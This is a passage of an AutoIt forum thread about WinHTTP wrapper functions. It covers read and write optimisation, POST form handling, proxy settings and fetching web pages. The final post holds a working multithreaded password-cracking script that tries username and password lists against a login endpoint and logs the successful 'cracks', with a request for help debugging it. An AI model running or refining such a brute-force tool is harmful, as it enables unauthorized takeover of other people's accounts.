Jump to content

This site uses cookies. By continuing to browse the site you are agreeing to our use of cookies. Find out more here. X
X


Photo

WinHTTP functions


  • Please log in to reply
564 replies to this topic

#21 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 17 November 2008 - 08:50 PM

Good idea :mellow: But it would be faster, if it doesn't use BinaryMid/StringLeft when it is not needed:

Plain Text         
...     Select         Case @error Or Not $a_iCall[0]             Return SetError(1)         Case Not $a_iCall[4]             Return SetError(0)         Case $a_iCall[4] < $iNumberOfBytesToRead             Switch $iMode                 Case 0                     Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))                 Case 1                     Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))                 Case 2                     Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))             EndSwitch     EndSelect                 Switch $iMode                 Case 0,2                     Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1), $a_iCall[4])                 Case 1                     Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))             EndSwitch

Considering speed, would this be the fastest way?
AutoIt         
Func _WinHttpReadData($hRequest, $iMode = 0, $iNumberOfBytesToRead = 8192)     Local $lpBuffer         Switch $iMode         Case 1, 2             $lpBuffer = DllStructCreate("byte[" & $iNumberOfBytesToRead & "]")         Case Else             $iMode = 0             $lpBuffer = DllStructCreate("char[" & $iNumberOfBytesToRead & "]")     EndSwitch         Local $a_iCall = DllCall("Winhttp.dll", "int", "WinHttpReadData", _             "hwnd", $hRequest, _             "ptr", DllStructGetPtr($lpBuffer), _             "ulong", $iNumberOfBytesToRead, _             "dword*", 0)     If @error Or Not $a_iCall[0] Then         SetError(1, 0, "")     EndIf     Switch ($a_iCall[4] < $iNumberOfBytesToRead) & $iMode         Case 0,2             Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1))         Case 1             Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))         Case 10             Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))         Case 11             Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))         Case 12             Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))     EndSwitch EndFunc

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE








#22 ProgAndy

ProgAndy

    You need AutoItObject

  • MVPs
  • 2,508 posts

Posted 18 November 2008 - 12:35 PM

I think compare strings and converting is slower :mellow:.. just test it ( TimerInit, TimerDiff :(
*GERMAN* Posted Image [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

#23 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 18 November 2008 - 04:58 PM

I think compare strings and converting is slower :mellow:.. just test it ( TimerInit, TimerDiff :(

If I'm not making any mistake and if producing same conditions test would look like this:
Plain Text         
Global $end1, $end2, $res_prog, $res_tran For $i = 1 To 30000 $error_ = Random(0, 1, 1) $a_iCall_0_ = Random(0, 1, 1) $a_iCall_4_ = Random(0, 1, 1) $iNumberOfBytesToRead_ = Random(0, 8192, 1) $iMode_ = Random(0, 2, 1) $start1 = TimerInit() $res_tran += tran($error_, $a_iCall_0_, $a_iCall_4_, $iNumberOfBytesToRead_, $iMode_) $end1 += TimerDiff($start1) $start2 = TimerInit() $res_prog += Prog($error_, $a_iCall_0_, $a_iCall_4_, $iNumberOfBytesToRead_, $iMode_) $end2 += TimerDiff($start2) Next $speed1 = 1000 * $end1 / ($i - 1) $speed2 = 1000 * $end2 / ($i - 1) ConsoleWrite("tran = " & $speed1 & " per sec. Result to verify $res_tran = " & $res_tran & @CRLF) ConsoleWrite("Prog = " & $speed2 & " per sec. Result to verify $res_prog = " & $res_prog & @CRLF) Func tran($error, $a_iCall_0, $a_iCall_4, $iNumberOfBytesToRead, $iMode)     Switch $iMode         Case 1, 2         Case Else             $iMode = 0     EndSwitch     If $error Or Not $a_iCall_0 Then         Return SetError(1, 0, 0)     EndIf     If Not $a_iCall_4 Then         Return SetError(0, 0, 0)     EndIf         Switch ($a_iCall_4 < $iNumberOfBytesToRead) & $iMode         Case 0, 2             Return SetError(0, $a_iCall_4, 1)         Case 1             Return SetError(0, $a_iCall_4, 3)         Case 10             Return SetError(0, $a_iCall_4, 5)         Case 11             Return SetError(0, $a_iCall_4, 7)         Case 12             Return SetError(0, $a_iCall_4, 9)     EndSwitch     EndFunc   Func Prog($error, $a_iCall_0, $a_iCall_4, $iNumberOfBytesToRead, $iMode)         Switch $iMode         Case 1, 2         Case Else             $iMode = 0     EndSwitch         Select         Case $error Or Not $a_iCall_0             Return SetError(1, 0, 0)         Case Not $a_iCall_4             Return SetError(0, 0, 0)         Case $a_iCall_4 < $iNumberOfBytesToRead             Switch $iMode                 Case 0                     Return SetError(0, $a_iCall_4, 5)                 Case 1                     Return SetError(0, $a_iCall_4, 7)                 Case 2                     Return SetError(0, $a_iCall_4, 9)             EndSwitch     EndSelect     Switch $iMode         Case 0, 2             Return SetError(0, $a_iCall_4, 1)         Case 1             Return SetError(0, $a_iCall_4, 3)     EndSwitch     EndFunc


I'm getting slightly better results using "&" metod.

Doing that test I found that returning empty string is for some reason done faster than returning 0. (Maybe what comes after it is faster, didn't test that)

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#24 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 19 November 2008 - 06:50 PM

Example of two more functions. One to get IE proxy configuration and other for current WinHTTP proxy configuration:
#include "WinHTTP.au3" #include <Array.au3> ; Internet Explorer proxy configuration for the current user: $IEproxy_array = _WinHttpGetIEProxyConfigForCurrentUser() _ArrayDisplay($IEproxy_array, "Internet Explorer proxy configuration") ; Current WinHTTP proxy configuration: $proxy_array = _WinHttpGetDefaultProxyConfiguration() _ArrayDisplay($proxy_array, "Current WinHTTP proxy configuration")

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#25 drofenaz

drofenaz

    Seeker

  • Active Members
  • 10 posts

Posted 29 November 2008 - 07:21 AM

Is it possible to use this to upload an image? If so... how do I do it?

#26 ProgAndy

ProgAndy

    You need AutoItObject

  • MVPs
  • 2,508 posts

Posted 29 November 2008 - 12:53 PM

It is possible. Example as attachment :)

@trancexx: You should set @error -1 in _WinHTTPReadData when return is empty (like FileRead)
If Not $a_iCall[4] Then Return SetError(-1,0,"")

Also, sometimes it is required to send binary Data (e.g. if you send images like in attached example)

Attached Files


Edited by ProgAndy, 29 November 2008 - 12:58 PM.

*GERMAN* Posted Image [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

#27 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 29 November 2008 - 08:29 PM

It is possible. Example as attachment :)

@trancexx: You should set @error -1 in _WinHTTPReadData when return is empty (like FileRead)

If Not $a_iCall[4] Then Return SetError(-1,0,"")

Also, sometimes it is required to send binary Data (e.g. if you send images like in attached example)

Yes, you have already suggested binary version of _WinHttpWriteData(), but I forgot about it. Sorry. Will add it with first new update of WinHTTP.au3 as binary option to current _WinHttpWriteData().

About @error, I saw in attached file what you mean and will make that modification too, even I don't see why don't you use @extended data to determine the end (am I missing something obvious?).
Callback function should be cool too for that purposes.

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#28 StAbb

StAbb

    Seeker

  • Active Members
  • 49 posts

Posted 30 November 2008 - 12:06 AM

Well, the data type is not too important, because the Data will be sent binary i think. But if you want to send text, ANSI str should be right in most cases :)
This page good for testing, i think :) http://www.snee.com/xml/crud/posttest.html
//Edit: made an working example:) you also have to add the size to sendRewuest o:)

AutoIt         
 #include "WinHTTP.au3" $LocalIP = "www.snee.com" $hw_open = _WinHttpOpen() $hw_connect = _WinHttpConnect($hw_open, $LocalIP) $h_openRequest = _WinHttpOpenRequest($hw_connect, "POST", "xml/crud/posttest.cgi?sgs") ;~ _WinHttpSetCredentials($h_openRequest, $WINHTTP_AUTH_TARGET_SERVER, $WINHTTP_AUTH_SCHEME_BASIC, "admin", "admin") $data = "fname=Rghgt&lname=345" _WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, 0, $WINHTTP_NO_REQUEST_DATA, 0, StringLen($data), 0) _WinHttpWriteData($h_openRequest, $data) _WinHttpReceiveResponse($h_openRequest) MsgBox(0, 'Recived', _WinHttpReadData($h_openRequest)) _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open) Func _WinHttpWriteData($hRequest, $string)         Local $dwNumberOfBytesToWrite = StringLen($string)         Local $a_iCall = DllCall("Winhttp.dll", "int", "WinHttpWriteData", _             "hwnd", $hRequest, _             "str", $string, _             "dword", $dwNumberOfBytesToWrite, _             "dword*", 0)         If @error Or Not $a_iCall[0] Then         Return SetError(1, 0, -1)     EndIf     Return SetError(0, 0, $a_iCall[0])         EndFunc   ;==>_WinHttpWriteData

I had trouble implementing this with my own site.
I hosted some basic php code on my localhost:

<?php if (isset($_POST['test'])){   echo 'Post Set='.$_POST['test']; }else if(isset($_GET['test'])){   echo 'Get Set='.$_GET['test']; }else{   echo 'Nothing Set'; } ?>


And then I tried this out:
Plain Text         
#include "WinHTTP.au3" #include <IE.au3> $LocalIP = "localhost" $hw_open = _WinHttpOpen() $hw_connect = _WinHttpConnect($hw_open, $LocalIP) $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "test.php") $data = "test=hello" _WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, $WINHTTP_NO_REQUEST_DATA, StringLen($data), 0) _WinHttpWriteData($h_openRequest, $data) _WinHttpReceiveResponse($h_openRequest) $oIE=_IECreate () _IEDocWriteHTML ( $oIE, _WinHttpReadData($h_openRequest)) _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)


And got the text: "Nothing Set" echoed out. Shouldn't it have said "Post set=hello"?

Any ideas? Thanks

#29 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 30 November 2008 - 09:37 AM

I had trouble implementing this with my own site.
I hosted some basic php code on my localhost:

<?php if (isset($_POST['test'])){   echo 'Post Set='.$_POST['test']; }else if(isset($_GET['test'])){   echo 'Get Set='.$_GET['test']; }else{   echo 'Nothing Set'; } ?>


And then I tried this out:
Plain Text         
#include "WinHTTP.au3" #include <IE.au3> $LocalIP = "localhost" $hw_open = _WinHttpOpen() $hw_connect = _WinHttpConnect($hw_open, $LocalIP) $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "test.php") $data = "test=hello" _WinHttpSendRequest($h_openRequest,$WINHTTP_NO_ADDITIONAL_HEADERS, $WINHTTP_NO_REQUEST_DATA, StringLen($data), 0) _WinHttpWriteData($h_openRequest, $data) _WinHttpReceiveResponse($h_openRequest) $oIE=_IECreate () _IEDocWriteHTML ( $oIE, _WinHttpReadData($h_openRequest)) _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)


And got the text: "Nothing Set" echoed out. Shouldn't it have said "Post set=hello"?

Any ideas? Thanks

You are using "GET" method.
It will produce this:
GET /test.php HTTP/1.1 Accept: User-Agent: AutoIt v3 Host: localhost Content-Length: 10 Connection: Keep-Alive test=hello

Is that what you want, what your php code require?

Edited by trancexx, 30 November 2008 - 10:46 AM.

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#30 ProgAndy

ProgAndy

    You need AutoItObject

  • MVPs
  • 2,508 posts

Posted 30 November 2008 - 11:44 AM

About @error, I saw in attached file what you mean and will make that modification too, even I don't see why don't you use @extended data to determine the end (am I missing something obvious?).


Oops, forgot to use it... But i think @error still useful, cause i like a common syntax in all functions;)
@StAbb: If you are using post, you have to set POST method in _winhttpopenrequest, not GET.
Also, you should set headers to
"Content-Type: application/x-www-form-urlencoded" & @CRLF
not $WINHTTP_NO_ADDITIONAL_HEADERS

If you want to use GET, you have to add the variables in the filename with ? : "test.php?test=data"

Edited by ProgAndy, 30 November 2008 - 11:49 AM.

*GERMAN* Posted Image [note: you are not allowed to remove author / modified info from my UDFs]My UDFs:[_SetImageBinaryToCtrl] [_TaskDialog] [AutoItObject] [Animated GIF (GDI+)] [ClipPut for Image] [FreeImage] [GDI32 UDFs] [GDIPlus Progressbar] [Hotkey-Selector] [Multiline Inputbox] [MySQL without ODBC] [RichEdit UDFs] [SpeechAPI Example] [WinHTTP]UDFs included in AutoIt: FTP_Ex (as FTPEx), _WinAPI_SetLayeredWindowAttributes

#31 StAbb

StAbb

    Seeker

  • Active Members
  • 49 posts

Posted 30 November 2008 - 12:26 PM

Thanks for the help guys. I accidentally put GET in there instead of post when pasting the code here. But it didn't work either way. But I just changed the header like you said and it works perfectly. Thank you.

#32 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 01 December 2008 - 03:16 PM

Oops, forgot to use it... But i think @error still useful, cause i like a common syntax in all functions;)

It occurred to me that if we translate html to rtf then we could by using this script and your richedit script create a completely new browser written in AutoIt. That would be major cool.
Who knows, maybe someone would even try.

Rewritten functions with new features (will not update yet);
AutoIt         
; #FUNCTION# ;=============================================================================== ; ; Name...........: _WinHttpReadData ; Description ...: Reads data from a handle opened by the _WinHttpOpenRequest() function. ; Syntax.........: _WinHttpReadData($hRequest [, iMode [, $iNumberOfBytesToRead]]) ; Parameters ....: $hRequest - Valid handle returned from a previous call to _WinHttpOpenRequest(). ;                  $iMode - Integer representing reading mode. Default is 0 (charset is decoded as it is ANSI). ;                  $iNumberOfBytesToRead - Integer value that contains the number of bytes to read. Default is 8192 bytes. ; Return values .: Success - Returns data read. ;                          - @extended receives the number of bytes read. ;                          - Sets @error to 0 ;                  Special: Sets @error to -1 if no more data to read (end reached). ;                  Failure - Returns empty string and sets @error: ;                  |1 - DllCall failed. ; Author ........: trancexx, ProgAndy ; Modified.......: ; Remarks .......: iMode can have these values: ;                  |0 - ANSI ;                  |1 - UTF8 ;                  |2 - Binary ; Related .......: ; Link ..........; <a href='http://msdn.microsoft.com/en-us/library/aa384104(VS.85' class='bbc_url' title='External link' rel='nofollow external'>http://msdn.microsoft.com/en-us/library/aa384104(VS.85</a>).aspx ; Example .......; Yes ; ;========================================================================================== Func _WinHttpReadData($hRequest, $iMode = 0, $iNumberOfBytesToRead = 8192)     Local $lpBuffer         Switch $iMode         Case 1, 2             $lpBuffer = DllStructCreate("byte[" & $iNumberOfBytesToRead & "]")         Case Else             $iMode = 0             $lpBuffer = DllStructCreate("char[" & $iNumberOfBytesToRead & "]")     EndSwitch         Local $a_iCall = DllCall("winhttp.dll", "int", "WinHttpReadData", _             "hwnd", $hRequest, _             "ptr", DllStructGetPtr($lpBuffer), _             "ulong", $iNumberOfBytesToRead, _             "dword*", 0)     If @error Or Not $a_iCall[0] Then         Return SetError(1, 0, "")     EndIf     If Not $a_iCall[4] Then         Return SetError(-1, 0, "")     EndIf         Switch $a_iCall[4] < $iNumberOfBytesToRead         Case True             Switch $iMode                 Case 0                     Return SetError(0, $a_iCall[4], StringLeft(DllStructGetData($lpBuffer, 1), $a_iCall[4]))                 Case 1                     Return SetError(0, $a_iCall[4], BinaryToString(BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]), 4))                 Case 2                     Return SetError(0, $a_iCall[4], BinaryMid(DllStructGetData($lpBuffer, 1), 1, $a_iCall[4]))             EndSwitch         Case Else             Switch $iMode                 Case 0, 2                     Return SetError(0, $a_iCall[4], DllStructGetData($lpBuffer, 1))                 Case 1                     Return SetError(0, $a_iCall[4], BinaryToString(DllStructGetData($lpBuffer, 1), 4))             EndSwitch     EndSwitch EndFunc   ;==>_WinHttpReadData ; #FUNCTION# ;=============================================================================== ; ; Name...........: _WinHttpWriteData ; Description ...: Writes request data to an HTTP server. ; Syntax.........: _WinHttpWriteData($hRequest, $data [, $iMode]) ; Parameters ....: $hRequest - Valid handle returned by _WinHttpSendRequest(). ;                  $data - Data to write. ;                  $iMode - Integer representing writing mode. Default is 0 - write ANSI string. ; Return values .: Success - Returns 1 ;                          - @extended receives the number of bytes written. ;                          - Sets @error to 0 ;                  Failure - Returns 0 and sets @error: ;                  |1 - DllCall failed. ; Author ........: trancexx, ProgAndy ; Modified.......: ; Remarks .......: $data variable is either string or binary data to write. ;                  $iMode can have these values: ;                  |0 - to write ANSI string ;                  |1 - to write binary data ; Related .......: ; Link ..........; <a href='http://msdn.microsoft.com/en-us/library/aa384120(VS.85' class='bbc_url' title='External link' rel='nofollow external'>http://msdn.microsoft.com/en-us/library/aa384120(VS.85</a>).aspx ; Example .......; Yes ; ;========================================================================================== Func _WinHttpWriteData($hRequest, $data, $iMode = 0)         Local $iNumberOfBytesToWrite = BinaryLen($data)         Local $structure_Data       Switch $iMode         Case 1             $structure_Data = DllStructCreate("byte[" & $iNumberOfBytesToWrite & "]")         Case Else             $structure_Data = DllStructCreate("char[" & $iNumberOfBytesToWrite + 1 & "]")               EndSwitch         DllStructSetData($structure_Data, 1, $data)         Local $a_iCall = DllCall("winhttp.dll", "int", "WinHttpWriteData", _             "hwnd", $hRequest, _             "ptr", DllStructGetPtr($structure_Data), _             "dword", $iNumberOfBytesToWrite, _             "dword*", 0)         If @error Or Not $a_iCall[0] Then         Return SetError(1, 0, 0)     EndIf     Return SetError(0, $a_iCall[4], 1)         EndFunc   ;==>_WinHttpWriteData

Edited by trancexx, 01 December 2008 - 03:17 PM.

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#33 goldenix

goldenix

    Universalist

  • Active Members
  • PipPipPipPipPipPip
  • 738 posts

Posted 02 December 2008 - 03:48 AM

I use this code to obtain webpage source. & have 2 Qyestions:
1) This is still pretty slow, can it be faster?
2)Is there a way to put each string on a separate line like they are in the Source code when I open source in the browser?

AutoIt         
#include "WinHTTP.au3" $hw_open = _WinHttpOpen("WinHTTP Example") $hw_connect = _WinHttpConnect($hw_open, "google.com") $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "google.com") _WinHttpSendRequest($h_openRequest) _WinHttpReceiveResponse($h_openRequest) If _WinHttpQueryDataAvailable($h_openRequest) Then     $header = _WinHttpReadData($h_openRequest)         $_Arrayline = StringSplit($header, @LF) ; this is the Array $_Arrayline             for $i = 1 to $_Arrayline[0]             consoleWrite($_Arrayline[$i] & @CRLF)         Next    EndIf _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)


#34 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 02 December 2008 - 11:30 AM

I use this code to obtain webpage source. & have 2 Qyestions:
1) This is still pretty slow, can it be faster?
2)Is there a way to put each string on a separate line like they are in the Source code when I open source in the browser?

AutoIt         
#include "WinHTTP.au3" $hw_open = _WinHttpOpen("WinHTTP Example") $hw_connect = _WinHttpConnect($hw_open, "google.com") $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "google.com") _WinHttpSendRequest($h_openRequest) _WinHttpReceiveResponse($h_openRequest) If _WinHttpQueryDataAvailable($h_openRequest) Then     $header = _WinHttpReadData($h_openRequest)         $_Arrayline = StringSplit($header, @LF) ; this is the Array $_Arrayline             for $i = 1 to $_Arrayline[0]             consoleWrite($_Arrayline[$i] & @CRLF)         Next    EndIf _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)

Speed depends on your connection. If you are normally using some proxy, adjust it for this too.
Yor code is not correct. But regardless of that you will receive html in shape as it is where you are asking it from.
Apparently google.com has it in long lines.

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#35 goldenix

goldenix

    Universalist

  • Active Members
  • PipPipPipPipPipPip
  • 738 posts

Posted 02 December 2008 - 12:53 PM

Yor code is not correct. But regardless of that you will receive html in shape as it is where you are asking it from.
Apparently google.com has it in long lines.

Aha, this was useful info. thanx, so the correct wode to obtain webpage source would be this?
#include "WinHTTP.au3" $hw_open = _WinHttpOpen("WinHTTP Example") $hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca") $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "<a href='http://www.nipissingu.ca/calculus/tutorials/numbers.html' class='bbc_url' title='External link' rel='nofollow external'>http://www.nipissingu.ca/calculus/tutorials/numbers.html"</a>) _WinHttpSendRequest($h_openRequest) _WinHttpReceiveResponse($h_openRequest) If _WinHttpQueryDataAvailable($h_openRequest) Then     $header = _WinHttpReadData($h_openRequest)     consoleWrite($header & @CRLF) EndIf _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)


#36 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 02 December 2008 - 01:48 PM

Aha, this was useful info. thanx, so the correct wode to obtain webpage source would be this?

#include "WinHTTP.au3" $hw_open = _WinHttpOpen("WinHTTP Example") $hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca") $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "<a href='http://www.nipissingu.ca/calculus/tutorials/numbers.html' class='bbc_url' title='External link' rel='nofollow external'>http://www.nipissingu.ca/calculus/tutorials/numbers.html"</a>) _WinHttpSendRequest($h_openRequest) _WinHttpReceiveResponse($h_openRequest) If _WinHttpQueryDataAvailable($h_openRequest) Then     $header = _WinHttpReadData($h_openRequest)     consoleWrite($header & @CRLF) EndIf _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)

Plain Text         
#include "WinHTTP.au3" $hw_open = _WinHttpOpen() $hw_connect = _WinHttpConnect($hw_open, "nipissingu.ca") $h_openRequest = _WinHttpOpenRequest($hw_connect, "GET", "calculus/tutorials/numbers.html") _WinHttpSendRequest($h_openRequest) _WinHttpReceiveResponse($h_openRequest) If _WinHttpQueryDataAvailable($h_openRequest) Then     $data = ""     While 1         $chunk = _WinHttpReadData($h_openRequest, 1)         If Not @extended Then ExitLoop     ;ConsoleWrite($chunk & @CRLF)         $data &= $chunk     WEnd     ConsoleWrite($data & @CRLF) EndIf _WinHttpCloseHandle($h_openRequest) _WinHttpCloseHandle($hw_connect) _WinHttpCloseHandle($hw_open)

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#37 goldenix

goldenix

    Universalist

  • Active Members
  • PipPipPipPipPipPip
  • 738 posts

Posted 02 December 2008 - 02:11 PM

    While 1         $chunk = _WinHttpReadData($h_openRequest, 1)         If Not @extended Then ExitLoop         $data &= $chunk     WEnd     ConsoleWrite($data & @CRLF)

So in your sample it just sits & waits until some data is sent back(to insure that the script is paused until the data is sent) & if read bytes = not 0 then exit loop & & consolewrite?

Edited by goldenix, 02 December 2008 - 02:12 PM.


#38 trancexx

trancexx

    Queen F. Elizabeth MCXI

  • Active Members
  • PipPipPipPipPipPip
  • 5,981 posts

Posted 02 December 2008 - 02:23 PM

So in your sample it just sits & waits until some data is sent back(to insure that the script is paused until the data is sent) & if read bytes = not 0 then exit loop & & consolewrite?

You cannot force the server to give you the data. The data will be sent to you depending on server load, bandwidth and stuff.
I guess the most time will be spend with WinHttpReceiveResponse().

Maybe I'm in love (Sshh, it's a secret)

.

 

eMyvnE


#39 subfighter

subfighter

    Seeker

  • Active Members
  • 45 posts

Posted 25 December 2008 - 07:07 PM

I was doing a search on the forum and found something with WinINET and then i found this post but its unclear to me what i exactly need to do. I looked at the PROGANDY example which seems to be what i need but did not understand as it had a lot lines that were commented out :)

I want to make a Desktop Application with AutoIT so i can Batch Upload Videos in .flv, .wmv format to BLIP.TV. They have an API where they describe on how do this so i will post the directions and see if the WININET is what i need to accomplish this or maybe some advice on what road to take.

CODE

Purpose

To allow programmatic uploads to blip.tv in the simplest way possible.
[edit]
API URL

* http://blip.tv/file/post/
* http://uploads.blip.tv/

While both URLs will currently work, future applications should use uploads.blip.tv.
[edit]
Request

Send a multipart POST (Content-Type: multi-part/form-data) with these fields:

POST http://www.blip.tv/ (Content-Type: multi-part/form-data)



BLIP Examples

Upload a new episode

To upload a new episode, send a multipart post with these fields:
Field Name Value
post "1"
skin "api"
userlogin "yourusername"
password "YoUrPwD"
file file to upload
title "New File"

any help appreciated becasue i really have no idea where to start at..

so any help pointing me in the right direction or small example..

#40 appie9294

appie9294

    Seeker

  • New Members
  • 4 posts

Posted 03 February 2009 - 09:47 PM

hi when i run this program the first 2 threads are busy getting cracked but when its at thread number3
then its says:

An Unknown Error Ocurred :s
guys help me out please!

Source:

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=orbz-air.ico
#AutoIt3Wrapper_UseAnsi=y
#AutoIt3Wrapper_Compression=4
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <Array.au3>
#include <File.au3>
#include <INet.au3>

$oShell = ObjCreate("shell.application")
$num = $CmdLine[1]
Global $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
Local $usernames, $passwords, $proxies
_FileReadToArray(@ScriptDir & "/tempdir/usernames" & $num & ".txt", $usernames)
_FileReadToArray(@ScriptDir & "/passwords.txt", $passwords)
_ArrayDelete($usernames, 0)
_ArrayDelete($passwords, 0)

Print("Thread " & $num & " has started.")
Local $cUser = 0, $cPass = 0, $error = 0
While 1

If ProcessExists("Cracker.exe") = 0 Then
Exit
EndIf
If UBound($passwords) = $cPass Then
$cPass = 0
$cUser += 1
If UBound($usernames) = $cUser Then
ExitLoop
EndIf
EndIf
Switch CrackAccount($usernames[$cUser], $passwords[$cPass])
Case -1
Print("#" & $num & " An Unknown Error Occurred")
$Error += 1
If $error = 5 Then
Refresh()
$error = 0
EndIf
Case 0
Print("#" & $num & " Invalid - "&$usernames[$cUser]&":"&$passwords[$cPass])
$cPass += 1
Case 1
Print("#" & $num & " Crack - "&$usernames[$cUser]&":"&$passwords[$cPass])
FileWriteLine(@ScriptDir & "/Cracks.txt",$usernames[$cUser]&":"&$passwords[$cPass])
Refresh()
$cPass = 0
$cUser += 1
EndSwitch
WEnd
Print("Thread " & $num & " has finished cracking.")

Func CrackAccount($vUser, $vPass)
$source = _HTTPRequest($oHTTP, "POST", "https://XXX.XXX.XXX/login.ws", "username=" & $vUser & "&password=" & $vPass )
Select
Case StringInStr($source, "Invalid")
Return 0
Case StringInStr($source, "successful")
Return 1
Case Else
Return -1
EndSelect
EndFunc

Func Print($oData)
ConsoleWrite($oData & @CRLF)
EndFunc ;==>Print

Func _HTTPRequest($Wnd, $oMethod, $oURL, $oData = "")
$Wnd.Open($oMethod, $oURL, False)
If $oMethod = "POST" Then $Wnd.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
$Wnd.Send($oData)
Return $Wnd.ResponseText
EndFunc

Func Refresh()
$oShell = ObjCreate("shell.application")
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
EndFunc

end Source

i am very new to this and i dont know what the problem is and whats that winhttp??

Please help me soon!




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users